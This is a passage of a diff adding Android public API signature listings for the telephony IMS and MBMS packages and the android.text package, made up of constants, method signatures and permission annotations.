+    field public static final int CODE_LOCAL_ILLEGAL_ARGUMENT = 101; // 0x65
+    field public static final int CODE_LOCAL_ILLEGAL_STATE = 102; // 0x66
+    field public static final int CODE_LOCAL_IMS_SERVICE_DOWN = 106; // 0x6a
+    field public static final int CODE_LOCAL_INTERNAL_ERROR = 103; // 0x67
+    field public static final int CODE_LOCAL_LOW_BATTERY = 112; // 0x70
+    field public static final int CODE_LOCAL_NETWORK_IP_CHANGED = 124; // 0x7c
+    field public static final int CODE_LOCAL_NETWORK_NO_LTE_COVERAGE = 122; // 0x7a
+    field public static final int CODE_LOCAL_NETWORK_NO_SERVICE = 121; // 0x79
+    field public static final int CODE_LOCAL_NETWORK_ROAMING = 123; // 0x7b
+    field public static final int CODE_LOCAL_NOT_REGISTERED = 132; // 0x84
+    field public static final int CODE_LOCAL_NO_PENDING_CALL = 107; // 0x6b
+    field public static final int CODE_LOCAL_POWER_OFF = 111; // 0x6f
+    field public static final int CODE_LOCAL_SERVICE_UNAVAILABLE = 131; // 0x83
+    field public static final int CODE_LOW_BATTERY = 505; // 0x1f9
+    field public static final int CODE_MAXIMUM_NUMBER_OF_CALLS_REACHED = 1403; // 0x57b
+    field public static final int CODE_MEDIA_INIT_FAILED = 401; // 0x191
+    field public static final int CODE_MEDIA_NOT_ACCEPTABLE = 403; // 0x193
+    field public static final int CODE_MEDIA_NO_DATA = 402; // 0x192
+    field public static final int CODE_MEDIA_UNSPECIFIED = 404; // 0x194
+    field public static final int CODE_MULTIENDPOINT_NOT_SUPPORTED = 902; // 0x386
+    field public static final int CODE_NETWORK_CONGESTION = 1624; // 0x658
+    field public static final int CODE_NETWORK_DETACH = 1513; // 0x5e9
+    field public static final int CODE_NETWORK_REJECT = 1504; // 0x5e0
+    field public static final int CODE_NETWORK_RESP_TIMEOUT = 1503; // 0x5df
+    field public static final int CODE_NO_CSFB_IN_CS_ROAM = 1516; // 0x5ec
+    field public static final int CODE_NO_VALID_SIM = 1501; // 0x5dd
+    field public static final int CODE_OEM_CAUSE_1 = 61441; // 0xf001
+    field public static final int CODE_OEM_CAUSE_10 = 61450; // 0xf00a
+    field public static final int CODE_OEM_CAUSE_11 = 61451; // 0xf00b
+    field public static final int CODE_OEM_CAUSE_12 = 61452; // 0xf00c
+    field public static final int CODE_OEM_CAUSE_13 = 61453; // 0xf00d
+    field public static final int CODE_OEM_CAUSE_14 = 61454; // 0xf00e
+    field public static final int CODE_OEM_CAUSE_15 = 61455; // 0xf00f
+    field public static final int CODE_OEM_CAUSE_2 = 61442; // 0xf002
+    field public static final int CODE_OEM_CAUSE_3 = 61443; // 0xf003
+    field public static final int CODE_OEM_CAUSE_4 = 61444; // 0xf004
+    field public static final int CODE_OEM_CAUSE_5 = 61445; // 0xf005
+    field public static final int CODE_OEM_CAUSE_6 = 61446; // 0xf006
+    field public static final int CODE_OEM_CAUSE_7 = 61447; // 0xf007
+    field public static final int CODE_OEM_CAUSE_8 = 61448; // 0xf008
+    field public static final int CODE_OEM_CAUSE_9 = 61449; // 0xf009
+    field public static final int CODE_RADIO_ACCESS_FAILURE = 1505; // 0x5e1
+    field public static final int CODE_RADIO_INTERNAL_ERROR = 1502; // 0x5de
+    field public static final int CODE_RADIO_LINK_FAILURE = 1506; // 0x5e2
+    field public static final int CODE_RADIO_LINK_LOST = 1507; // 0x5e3
+    field public static final int CODE_RADIO_OFF = 1500; // 0x5dc
+    field public static final int CODE_RADIO_RELEASE_ABNORMAL = 1511; // 0x5e7
+    field public static final int CODE_RADIO_RELEASE_NORMAL = 1510; // 0x5e6
+    field public static final int CODE_RADIO_SETUP_FAILURE = 1509; // 0x5e5
+    field public static final int CODE_RADIO_UPLINK_FAILURE = 1508; // 0x5e4
+    field public static final int CODE_REGISTRATION_ERROR = 1000; // 0x3e8
+    field public static final int CODE_REJECTED_ELSEWHERE = 1017; // 0x3f9
+    field public static final int CODE_REJECT_1X_COLLISION = 1603; // 0x643
+    field public static final int CODE_REJECT_CALL_ON_OTHER_SUB = 1602; // 0x642
+    field public static final int CODE_REJECT_CALL_TYPE_NOT_ALLOWED = 1605; // 0x645
+    field public static final int CODE_REJECT_CONFERENCE_TTY_NOT_ALLOWED = 1617; // 0x651
+    field public static final int CODE_REJECT_INTERNAL_ERROR = 1612; // 0x64c
+    field public static final int CODE_REJECT_MAX_CALL_LIMIT_REACHED = 1608; // 0x648
+    field public static final int CODE_REJECT_ONGOING_CALL_SETUP = 1607; // 0x647
+    field public static final int CODE_REJECT_ONGOING_CALL_TRANSFER = 1611; // 0x64b
+    field public static final int CODE_REJECT_ONGOING_CALL_UPGRADE = 1616; // 0x650
+    field public static final int CODE_REJECT_ONGOING_CALL_WAITING_DISABLED = 1601; // 0x641
+    field public static final int CODE_REJECT_ONGOING_CONFERENCE_CALL = 1618; // 0x652
+    field public static final int CODE_REJECT_ONGOING_CS_CALL = 1621; // 0x655
+    field public static final int CODE_REJECT_ONGOING_E911_CALL = 1606; // 0x646
+    field public static final int CODE_REJECT_ONGOING_ENCRYPTED_CALL = 1620; // 0x654
+    field public static final int CODE_REJECT_ONGOING_HANDOVER = 1614; // 0x64e
+    field public static final int CODE_REJECT_QOS_FAILURE = 1613; // 0x64d
+    field public static final int CODE_REJECT_SERVICE_NOT_REGISTERED = 1604; // 0x644
+    field public static final int CODE_REJECT_UNKNOWN = 1600; // 0x640
+    field public static final int CODE_REJECT_UNSUPPORTED_SDP_HEADERS = 1610; // 0x64a
+    field public static final int CODE_REJECT_UNSUPPORTED_SIP_HEADERS = 1609; // 0x649
+    field public static final int CODE_REJECT_VT_AVPF_NOT_ALLOWED = 1619; // 0x653
+    field public static final int CODE_REJECT_VT_TTY_NOT_ALLOWED = 1615; // 0x64f
+    field public static final int CODE_REMOTE_CALL_DECLINE = 1404; // 0x57c
+    field public static final int CODE_SESSION_MODIFICATION_FAILED = 1517; // 0x5ed
+    field public static final int CODE_SIP_ALTERNATE_EMERGENCY_CALL = 1514; // 0x5ea
+    field public static final int CODE_SIP_AMBIGUOUS = 376; // 0x178
+    field public static final int CODE_SIP_BAD_ADDRESS = 337; // 0x151
+    field public static final int CODE_SIP_BAD_REQUEST = 331; // 0x14b
+    field public static final int CODE_SIP_BUSY = 338; // 0x152
+    field public static final int CODE_SIP_CALL_OR_TRANS_DOES_NOT_EXIST = 372; // 0x174
+    field public static final int CODE_SIP_CLIENT_ERROR = 342; // 0x156
+    field public static final int CODE_SIP_EXTENSION_REQUIRED = 370; // 0x172
+    field public static final int CODE_SIP_FORBIDDEN = 332; // 0x14c
+    field public static final int CODE_SIP_GLOBAL_ERROR = 362; // 0x16a
+    field public static final int CODE_SIP_INTERVAL_TOO_BRIEF = 371; // 0x173
+    field public static final int CODE_SIP_LOOP_DETECTED = 373; // 0x175
+    field public static final int CODE_SIP_METHOD_NOT_ALLOWED = 366; // 0x16e
+    field public static final int CODE_SIP_NOT_ACCEPTABLE = 340; // 0x154
+    field public static final int CODE_SIP_NOT_FOUND = 333; // 0x14d
+    field public static final int CODE_SIP_NOT_REACHABLE = 341; // 0x155
+    field public static final int CODE_SIP_NOT_SUPPORTED = 334; // 0x14e
+    field public static final int CODE_SIP_PROXY_AUTHENTICATION_REQUIRED = 367; // 0x16f
+    field public static final int CODE_SIP_REDIRECTED = 321; // 0x141
+    field public static final int CODE_SIP_REQUEST_CANCELLED = 339; // 0x153
+    field public static final int CODE_SIP_REQUEST_ENTITY_TOO_LARGE = 368; // 0x170
+    field public static final int CODE_SIP_REQUEST_PENDING = 377; // 0x179
+    field public static final int CODE_SIP_REQUEST_TIMEOUT = 335; // 0x14f
+    field public static final int CODE_SIP_REQUEST_URI_TOO_LARGE = 369; // 0x171
+    field public static final int CODE_SIP_SERVER_ERROR = 354; // 0x162
+    field public static final int CODE_SIP_SERVER_INTERNAL_ERROR = 351; // 0x15f
+    field public static final int CODE_SIP_SERVER_TIMEOUT = 353; // 0x161
+    field public static final int CODE_SIP_SERVICE_UNAVAILABLE = 352; // 0x160
+    field public static final int CODE_SIP_TEMPRARILY_UNAVAILABLE = 336; // 0x150
+    field public static final int CODE_SIP_TOO_MANY_HOPS = 374; // 0x176
+    field public static final int CODE_SIP_TRANSACTION_DOES_NOT_EXIST = 343; // 0x157
+    field public static final int CODE_SIP_UNDECIPHERABLE = 378; // 0x17a
+    field public static final int CODE_SIP_USER_MARKED_UNWANTED = 365; // 0x16d
+    field public static final int CODE_SIP_USER_REJECTED = 361; // 0x169
+    field public static final int CODE_SUPP_SVC_CANCELLED = 1202; // 0x4b2
+    field public static final int CODE_SUPP_SVC_FAILED = 1201; // 0x4b1
+    field public static final int CODE_SUPP_SVC_REINVITE_COLLISION = 1203; // 0x4b3
+    field public static final int CODE_TIMEOUT_1XX_WAITING = 201; // 0xc9
+    field public static final int CODE_TIMEOUT_NO_ANSWER = 202; // 0xca
+    field public static final int CODE_TIMEOUT_NO_ANSWER_CALL_UPDATE = 203; // 0xcb
+    field public static final int CODE_UNSPECIFIED = 0; // 0x0
+    field public static final int CODE_USER_CANCELLED_SESSION_MODIFICATION = 512; // 0x200
+    field public static final int CODE_USER_DECLINE = 504; // 0x1f8
+    field public static final int CODE_USER_IGNORE = 503; // 0x1f7
+    field public static final int CODE_USER_NOANSWER = 502; // 0x1f6
+    field public static final int CODE_USER_REJECTED_SESSION_MODIFICATION = 511; // 0x1ff
+    field public static final int CODE_USER_TERMINATED = 501; // 0x1f5
+    field public static final int CODE_USER_TERMINATED_BY_REMOTE = 510; // 0x1fe
+    field public static final int CODE_UT_CB_PASSWORD_MISMATCH = 821; // 0x335
+    field public static final int CODE_UT_NETWORK_ERROR = 804; // 0x324
+    field public static final int CODE_UT_NOT_SUPPORTED = 801; // 0x321
+    field public static final int CODE_UT_OPERATION_NOT_ALLOWED = 803; // 0x323
+    field public static final int CODE_UT_SERVICE_UNAVAILABLE = 802; // 0x322
+    field public static final int CODE_UT_SS_MODIFIED_TO_DIAL = 822; // 0x336
+    field public static final int CODE_UT_SS_MODIFIED_TO_DIAL_VIDEO = 825; // 0x339
+    field public static final int CODE_UT_SS_MODIFIED_TO_SS = 824; // 0x338
+    field public static final int CODE_UT_SS_MODIFIED_TO_USSD = 823; // 0x337
+    field public static final int CODE_WIFI_LOST = 1407; // 0x57f
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.ims.ImsReasonInfo> CREATOR;
+    field public static final int EXTRA_CODE_CALL_RETRY_BY_SETTINGS = 3; // 0x3
+    field public static final int EXTRA_CODE_CALL_RETRY_EMERGENCY = 4; // 0x4
+    field public static final int EXTRA_CODE_CALL_RETRY_NORMAL = 1; // 0x1
+    field public static final int EXTRA_CODE_CALL_RETRY_SILENT_REDIAL = 2; // 0x2
+  }
+
+  public final class ImsRegistrationAttributes implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAttributeFlags();
+    method @NonNull public java.util.Set<java.lang.String> getFeatureTags();
+    method public int getTransportType();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int ATTR_EPDG_OVER_CELL_INTERNET = 1; // 0x1
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.ims.ImsRegistrationAttributes> CREATOR;
+  }
+
+  public class RcsUceAdapter {
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public boolean isUceSettingEnabled() throws android.telephony.ims.ImsException;
+  }
+
+  public interface RegistrationManager {
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public void getRegistrationState(@NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<java.lang.Integer>);
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public void getRegistrationTransportType(@NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<java.lang.Integer>);
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public void registerImsRegistrationCallback(@NonNull java.util.concurrent.Executor, @NonNull android.telephony.ims.RegistrationManager.RegistrationCallback) throws android.telephony.ims.ImsException;
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public void unregisterImsRegistrationCallback(@NonNull android.telephony.ims.RegistrationManager.RegistrationCallback);
+    field public static final int REGISTRATION_STATE_NOT_REGISTERED = 0; // 0x0
+    field public static final int REGISTRATION_STATE_REGISTERED = 2; // 0x2
+    field public static final int REGISTRATION_STATE_REGISTERING = 1; // 0x1
+  }
+
+  public static class RegistrationManager.RegistrationCallback {
+    ctor public RegistrationManager.RegistrationCallback();
+    method @Deprecated public void onRegistered(int);
+    method public void onRegistered(@NonNull android.telephony.ims.ImsRegistrationAttributes);
+    method @Deprecated public void onRegistering(int);
+    method public void onRegistering(@NonNull android.telephony.ims.ImsRegistrationAttributes);
+    method public void onTechnologyChangeFailed(int, @NonNull android.telephony.ims.ImsReasonInfo);
+    method public void onUnregistered(@NonNull android.telephony.ims.ImsReasonInfo);
+  }
+
+}
+
+package android.telephony.ims.feature {
+
+  public class MmTelFeature {
+  }
+
+  public static class MmTelFeature.MmTelCapabilities {
+    method public final boolean isCapable(int);
+    field public static final int CAPABILITY_TYPE_CALL_COMPOSER = 16; // 0x10
+    field public static final int CAPABILITY_TYPE_SMS = 8; // 0x8
+    field public static final int CAPABILITY_TYPE_UT = 4; // 0x4
+    field public static final int CAPABILITY_TYPE_VIDEO = 2; // 0x2
+    field public static final int CAPABILITY_TYPE_VOICE = 1; // 0x1
+  }
+
+}
+
+package android.telephony.mbms {
+
+  public class DownloadProgressListener {
+    ctor public DownloadProgressListener();
+    method public void onProgressUpdated(android.telephony.mbms.DownloadRequest, android.telephony.mbms.FileInfo, int, int, int, int);
+  }
+
+  public final class DownloadRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method public android.net.Uri getDestinationUri();
+    method public String getFileServiceId();
+    method public static int getMaxAppIntentSize();
+    method public static int getMaxDestinationUriSize();
+    method public android.net.Uri getSourceUri();
+    method public int getSubscriptionId();
+    method public byte[] toByteArray();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.mbms.DownloadRequest> CREATOR;
+  }
+
+  public static class DownloadRequest.Builder {
+    ctor public DownloadRequest.Builder(@NonNull android.net.Uri, @NonNull android.net.Uri);
+    method public android.telephony.mbms.DownloadRequest build();
+    method public static android.telephony.mbms.DownloadRequest.Builder fromDownloadRequest(android.telephony.mbms.DownloadRequest);
+    method public static android.telephony.mbms.DownloadRequest.Builder fromSerializedRequest(byte[]);
+    method public android.telephony.mbms.DownloadRequest.Builder setAppIntent(android.content.Intent);
+    method public android.telephony.mbms.DownloadRequest.Builder setServiceInfo(android.telephony.mbms.FileServiceInfo);
+    method public android.telephony.mbms.DownloadRequest.Builder setSubscriptionId(int);
+  }
+
+  public class DownloadStatusListener {
+    ctor public DownloadStatusListener();
+    method public void onStatusUpdated(android.telephony.mbms.DownloadRequest, android.telephony.mbms.FileInfo, int);
+  }
+
+  public final class FileInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public String getMimeType();
+    method public android.net.Uri getUri();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.mbms.FileInfo> CREATOR;
+  }
+
+  public final class FileServiceInfo extends android.telephony.mbms.ServiceInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public java.util.List<android.telephony.mbms.FileInfo> getFiles();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.mbms.FileServiceInfo> CREATOR;
+  }
+
+  public class GroupCall implements java.lang.AutoCloseable {
+    method public void close();
+    method public long getTmgi();
+    method public void updateGroupCall(@NonNull java.util.List<java.lang.Integer>, @NonNull java.util.List<java.lang.Integer>);
+    field public static final int REASON_BY_USER_REQUEST = 1; // 0x1
+    field public static final int REASON_FREQUENCY_CONFLICT = 3; // 0x3
+    field public static final int REASON_LEFT_MBMS_BROADCAST_AREA = 6; // 0x6
+    field public static final int REASON_NONE = 0; // 0x0
+    field public static final int REASON_NOT_CONNECTED_TO_HOMECARRIER_LTE = 5; // 0x5
+    field public static final int REASON_OUT_OF_MEMORY = 4; // 0x4
+    field public static final int STATE_STALLED = 3; // 0x3
+    field public static final int STATE_STARTED = 2; // 0x2
+    field public static final int STATE_STOPPED = 1; // 0x1
+  }
+
+  public interface GroupCallCallback {
+    method public default void onBroadcastSignalStrengthUpdated(@IntRange(from=0xffffffff, to=4) int);
+    method public default void onError(int, @Nullable String);
+    method public default void onGroupCallStateChanged(int, int);
+    field public static final int SIGNAL_STRENGTH_UNAVAILABLE = -1; // 0xffffffff
+  }
+
+  public class MbmsDownloadReceiver extends android.content.BroadcastReceiver {
+    ctor public MbmsDownloadReceiver();
+    method public void onReceive(android.content.Context, android.content.Intent);
+  }
+
+  public class MbmsDownloadSessionCallback {
+    ctor public MbmsDownloadSessionCallback();
+    method public void onError(int, String);
+    method public void onFileServicesUpdated(java.util.List<android.telephony.mbms.FileServiceInfo>);
+    method public void onMiddlewareReady();
+  }
+
+  public class MbmsErrors {
+    field public static final int ERROR_MIDDLEWARE_LOST = 3; // 0x3
+    field public static final int ERROR_MIDDLEWARE_NOT_BOUND = 2; // 0x2
+    field public static final int ERROR_NO_UNIQUE_MIDDLEWARE = 1; // 0x1
+    field public static final int SUCCESS = 0; // 0x0
+    field public static final int UNKNOWN = -1; // 0xffffffff
+  }
+
+  public static class MbmsErrors.DownloadErrors {
+    field public static final int ERROR_CANNOT_CHANGE_TEMP_FILE_ROOT = 401; // 0x191
+    field public static final int ERROR_MALFORMED_SERVICE_ANNOUNCEMENT = 404; // 0x194
+    field public static final int ERROR_UNKNOWN_DOWNLOAD_REQUEST = 402; // 0x192
+    field public static final int ERROR_UNKNOWN_FILE_INFO = 403; // 0x193
+  }
+
+  public static class MbmsErrors.GeneralErrors {
+    field public static final int ERROR_CARRIER_CHANGE_NOT_ALLOWED = 207; // 0xcf
+    field public static final int ERROR_IN_E911 = 204; // 0xcc
+    field public static final int ERROR_MIDDLEWARE_NOT_YET_READY = 201; // 0xc9
+    field public static final int ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE = 203; // 0xcb
+    field public static final int ERROR_NOT_CONNECTED_TO_HOME_CARRIER_LTE = 205; // 0xcd
+    field public static final int ERROR_OUT_OF_MEMORY = 202; // 0xca
+    field public static final int ERROR_UNABLE_TO_READ_SIM = 206; // 0xce
+  }
+
+  public static class MbmsErrors.GroupCallErrors {
+    field public static final int ERROR_DUPLICATE_START_GROUP_CALL = 502; // 0x1f6
+    field public static final int ERROR_UNABLE_TO_START_SERVICE = 501; // 0x1f5
+  }
+
+  public static class MbmsErrors.InitializationErrors {
+    field public static final int ERROR_APP_PERMISSIONS_NOT_GRANTED = 102; // 0x66
+    field public static final int ERROR_DUPLICATE_INITIALIZE = 101; // 0x65
+    field public static final int ERROR_UNABLE_TO_INITIALIZE = 103; // 0x67
+  }
+
+  public static class MbmsErrors.StreamingErrors {
+    field public static final int ERROR_CONCURRENT_SERVICE_LIMIT_REACHED = 301; // 0x12d
+    field public static final int ERROR_DUPLICATE_START_STREAM = 303; // 0x12f
+    field public static final int ERROR_UNABLE_TO_START_SERVICE = 302; // 0x12e
+  }
+
+  public interface MbmsGroupCallSessionCallback {
+    method public default void onAvailableSaisUpdated(@NonNull java.util.List<java.lang.Integer>, @NonNull java.util.List<java.util.List<java.lang.Integer>>);
+    method public default void onError(int, @Nullable String);
+    method public default void onMiddlewareReady();
+    method public default void onServiceInterfaceAvailable(@NonNull String, int);
+  }
+
+  public class MbmsStreamingSessionCallback {
+    ctor public MbmsStreamingSessionCallback();
+    method public void onError(int, @Nullable String);
+    method public void onMiddlewareReady();
+    method public void onStreamingServicesUpdated(java.util.List<android.telephony.mbms.StreamingServiceInfo>);
+  }
+
+  public class ServiceInfo {
+    method public java.util.List<java.util.Locale> getLocales();
+    method @NonNull public CharSequence getNameForLocale(@NonNull java.util.Locale);
+    method @NonNull public java.util.Set<java.util.Locale> getNamedContentLocales();
+    method public String getServiceClassName();
+    method public String getServiceId();
+    method public java.util.Date getSessionEndTime();
+    method public java.util.Date getSessionStartTime();
+  }
+
+  public class StreamingService implements java.lang.AutoCloseable {
+    method public void close();
+    method public android.telephony.mbms.StreamingServiceInfo getInfo();
+    method @Nullable public android.net.Uri getPlaybackUri();
+    field public static final int BROADCAST_METHOD = 1; // 0x1
+    field public static final int REASON_BY_USER_REQUEST = 1; // 0x1
+    field public static final int REASON_END_OF_SESSION = 2; // 0x2
+    field public static final int REASON_FREQUENCY_CONFLICT = 3; // 0x3
+    field public static final int REASON_LEFT_MBMS_BROADCAST_AREA = 6; // 0x6
+    field public static final int REASON_NONE = 0; // 0x0
+    field public static final int REASON_NOT_CONNECTED_TO_HOMECARRIER_LTE = 5; // 0x5
+    field public static final int REASON_OUT_OF_MEMORY = 4; // 0x4
+    field public static final int STATE_STALLED = 3; // 0x3
+    field public static final int STATE_STARTED = 2; // 0x2
+    field public static final int STATE_STOPPED = 1; // 0x1
+    field public static final int UNICAST_METHOD = 2; // 0x2
+  }
+
+  public class StreamingServiceCallback {
+    ctor public StreamingServiceCallback();
+    method public void onBroadcastSignalStrengthUpdated(int);
+    method public void onError(int, @Nullable String);
+    method public void onMediaDescriptionUpdated();
+    method public void onStreamMethodUpdated(int);
+    method public void onStreamStateUpdated(int, int);
+    field public static final int SIGNAL_STRENGTH_UNAVAILABLE = -1; // 0xffffffff
+  }
+
+  public final class StreamingServiceInfo extends android.telephony.mbms.ServiceInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.mbms.StreamingServiceInfo> CREATOR;
+  }
+
+}
+
+package android.text {
+
+  @Deprecated public class AlteredCharSequence implements java.lang.CharSequence android.text.GetChars {
+    method @Deprecated public char charAt(int);
+    method @Deprecated public void getChars(int, int, char[], int);
+    method @Deprecated public int length();
+    method @Deprecated public static android.text.AlteredCharSequence make(CharSequence, char[], int, int);
+    method @Deprecated public CharSequence subSequence(int, int);
+  }
+
+  @Deprecated public class AndroidCharacter {
+    ctor @Deprecated public AndroidCharacter();
+    method @Deprecated public static void getDirectionalities(char[], byte[], int);
+    method @Deprecated public static int getEastAsianWidth(char);
+    method @Deprecated public static void getEastAsianWidths(char[], int, int, byte[]);
+    method @Deprecated public static char getMirror(char);
+    method @Deprecated public static boolean mirror(char[], int, int);
+    field @Deprecated public static final int EAST_ASIAN_WIDTH_AMBIGUOUS = 1; // 0x1
+    field @Deprecated public static final int EAST_ASIAN_WIDTH_FULL_WIDTH = 3; // 0x3
+    field @Deprecated public static final int EAST_ASIAN_WIDTH_HALF_WIDTH = 2; // 0x2
+    field @Deprecated public static final int EAST_ASIAN_WIDTH_NARROW = 4; // 0x4
+    field @Deprecated public static final int EAST_ASIAN_WIDTH_NEUTRAL = 0; // 0x0
+    field @Deprecated public static final int EAST_ASIAN_WIDTH_WIDE = 5; // 0x5
+  }
+
+  public class Annotation implements android.text.ParcelableSpan {
+    ctor public Annotation(String, String);
+    ctor public Annotation(android.os.Parcel);
+    method public int describeContents();
+    method public String getKey();
+    method public int getSpanTypeId();
+    method public String getValue();
+    method public void writeToParcel(android.os.Parcel, int);
+  }
+
+  public class AutoText {
+    method public static String get(CharSequence, int, int, android.view.View);
+    method public static int getSize(android.view.View);
+  }
+
+  public final class BidiFormatter {
+    method public static android.text.BidiFormatter getInstance();
+    method public static android.text.BidiFormatter getInstance(boolean);
+    method public static android.text.BidiFormatter getInstance(java.util.Locale);
+    method public boolean getStereoReset();
+    method public boolean isRtl(String);
+    method public boolean isRtl(CharSequence);
+    method public boolean isRtlContext();
+    method @Nullable public String unicodeWrap(@Nullable String, android.text.TextDirectionHeuristic, boolean);
+    method @Nullable public CharSequence unicodeWrap(@Nullable CharSequence, android.text.TextDirectionHeuristic, boolean);
+    method public String unicodeWrap(String, android.text.TextDirectionHeuristic);
+    method public CharSequence unicodeWrap(CharSequence, android.text.TextDirectionHeuristic);
+    method public String unicodeWrap(String, boolean);
+    method public CharSequence unicodeWrap(CharSequence, boolean);
+    method public String unicodeWrap(String);
+    method public CharSequence unicodeWrap(CharSequence);
+  }
+
+  public static final class BidiFormatter.Builder {
+    ctor public BidiFormatter.Builder();
+    ctor public BidiFormatter.Builder(boolean);
+    ctor public BidiFormatter.Builder(java.util.Locale);
+    method public android.text.BidiFormatter build();
+    method public android.text.BidiFormatter.Builder setTextDirectionHeuristic(android.text.TextDirectionHeuristic);
+    method public android.text.BidiFormatter.Builder stereoReset(boolean);
+  }
+
+  public class BoringLayout extends android.text.Layout implements android.text.TextUtils.EllipsizeCallback {
+    ctor public BoringLayout(CharSequence, android.text.TextPaint, int, android.text.Layout.Alignment, float, float, android.text.BoringLayout.Metrics, boolean);
+    ctor public BoringLayout(CharSequence, android.text.TextPaint, int, android.text.Layout.Alignment, float, float, android.text.BoringLayout.Metrics, boolean, android.text.TextUtils.TruncateAt, int);
+    method public void ellipsized(int, int);
+    method public int getBottomPadding();
+    method public int getEllipsisCount(int);
+    method public int getEllipsisStart(int);
+    method public boolean getLineContainsTab(int);
+    method public int getLineCount();
+    method public int getLineDescent(int);
+    method public final android.text.Layout.Directions getLineDirections(int);
+    method public int getLineStart(int);
+    method public int getLineTop(int);
+    method public int getParagraphDirection(int);
+    method public int getTopPadding();
+    method public static android.text.BoringLayout.Metrics isBoring(CharSequence, android.text.TextPaint);
+    method public static android.text.BoringLayout.Metrics isBoring(CharSequence, android.text.TextPaint, android.text.BoringLayout.Metrics);
+    method public static android.text.BoringLayout make(CharSequence, android.text.TextPaint, int, android.text.Layout.Alignment, float, float, android.text.BoringLayout.Metrics, boolean);
+    method public static android.text.BoringLayout make(CharSequence, android.text.TextPaint, int, android.text.Layout.Alignment, float, float, android.text.BoringLayout.Metrics, boolean, android.text.TextUtils.TruncateAt, int);
+    method public android.text.BoringLayout replaceOrMake(CharSequence, android.text.TextPaint, int, android.text.Layout.Alignment, float, float, android.text.BoringLayout.Metrics, boolean);
+    method public android.text.BoringLayout replaceOrMake(CharSequence, android.text.TextPaint, int, android.text.Layout.Alignment, float, float, android.text.BoringLayout.Metrics, boolean, android.text.TextUtils.TruncateAt, int);
+  }
+
+  public static class BoringLayout.Metrics extends android.graphics.Paint.FontMetricsInt {
+    ctor public BoringLayout.Metrics();
+    field public int width;
+  }
+
+  @Deprecated public abstract class ClipboardManager {
+    ctor @Deprecated public ClipboardManager();
+    method @Deprecated public abstract CharSequence getText();
+    method @Deprecated public abstract boolean hasText();
+    method @Deprecated public abstract void setText(CharSequence);
+  }
+
+  public class DynamicLayout extends android.text.Layout {
+    ctor @Deprecated public DynamicLayout(@NonNull CharSequence, @NonNull android.text.TextPaint, @IntRange(from=0) int, @NonNull android.text.Layout.Alignment, @FloatRange(from=0.0) float, float, boolean);
+    ctor @Deprecated public DynamicLayout(@NonNull CharSequence, @NonNull CharSequence, @NonNull android.text.TextPaint, @IntRange(from=0) int, @NonNull android.text.Layout.Alignment, @FloatRange(from=0.0) float, float, boolean);
+    ctor @Deprecated public DynamicLayout(@NonNull CharSequence, @NonNull CharSequence, @NonNull android.text.TextPaint, @IntRange(from=0) int, @NonNull android.text.Layout.Alignment, @FloatRange(from=0.0) float, float, boolean, @Nullable android.text.TextUtils.TruncateAt, @IntRange(from=0) int);
+    method public int getBottomPadding();
+    method public int getEllipsisCount(int);
+    method public int getEllipsisStart(int);
+    method public boolean getLineContainsTab(int);
+    method public int getLineCount();
+    method public int getLineDescent(int);
+    method public final android.text.Layout.Directions getLineDirections(int);
+    method public int getLineStart(int);
+    method public int getLineTop(int);
+    method public int getParagraphDirection(int);
+    method public int getTopPadding();
+  }
+
+  public static final class DynamicLayout.Builder {
+    method @NonNull public android.text.DynamicLayout build();
+    method @NonNull public static android.text.DynamicLayout.Builder obtain(@NonNull CharSequence, @NonNull android.text.TextPaint, @IntRange(from=0) int);
+    method @NonNull public android.text.DynamicLayout.Builder setAlignment(@NonNull android.text.Layout.Alignment);
+    method @NonNull public android.text.DynamicLayout.Builder setBreakStrategy(int);
+    method @NonNull public android.text.DynamicLayout.Builder setDisplayText(@NonNull CharSequence);
+    method public android.text.DynamicLayout.Builder setEllipsize(@Nullable android.text.TextUtils.TruncateAt);
+    method @NonNull public android.text.DynamicLayout.Builder setEllipsizedWidth(@IntRange(from=0) int);
+    method @NonNull public android.text.DynamicLayout.Builder setHyphenationFrequency(int);
+    method @NonNull public android.text.DynamicLayout.Builder setIncludePad(boolean);
+    method @NonNull public android.text.DynamicLayout.Builder setJustificationMode(int);
+    method @NonNull public android.text.DynamicLayout.Builder setLineSpacing(float, @FloatRange(from=0.0) float);
+    method @NonNull public android.text.DynamicLayout.Builder setTextDirection(@NonNull android.text.TextDirectionHeuristic);
+    method @NonNull public android.text.DynamicLayout.Builder setUseLineSpacingFromFallbacks(boolean);
+  }
+
+  public interface Editable extends java.lang.CharSequence java.lang.Appendable android.text.GetChars android.text.Spannable {
+    method public android.text.Editable append(CharSequence);
+    method public android.text.Editable append(CharSequence, int, int);
+    method public android.text.Editable append(char);
+    method public void clear();
+    method public void clearSpans();
+    method public android.text.Editable delete(int, int);
+    method public android.text.InputFilter[] getFilters();
+    method public android.text.Editable insert(int, CharSequence, int, int);
+    method public android.text.Editable insert(int, CharSequence);
+    method public android.text.Editable replace(int, int, CharSequence, int, int);
+    method public android.text.Editable replace(int, int, CharSequence);
+    method public void setFilters(android.text.InputFilter[]);
+  }
+
+  public static class Editable.Factory {
+    ctor public Editable.Factory();
+    method public static android.text.Editable.Factory getInstance();
+    method public android.text.Editable newEditable(CharSequence);
+  }
+
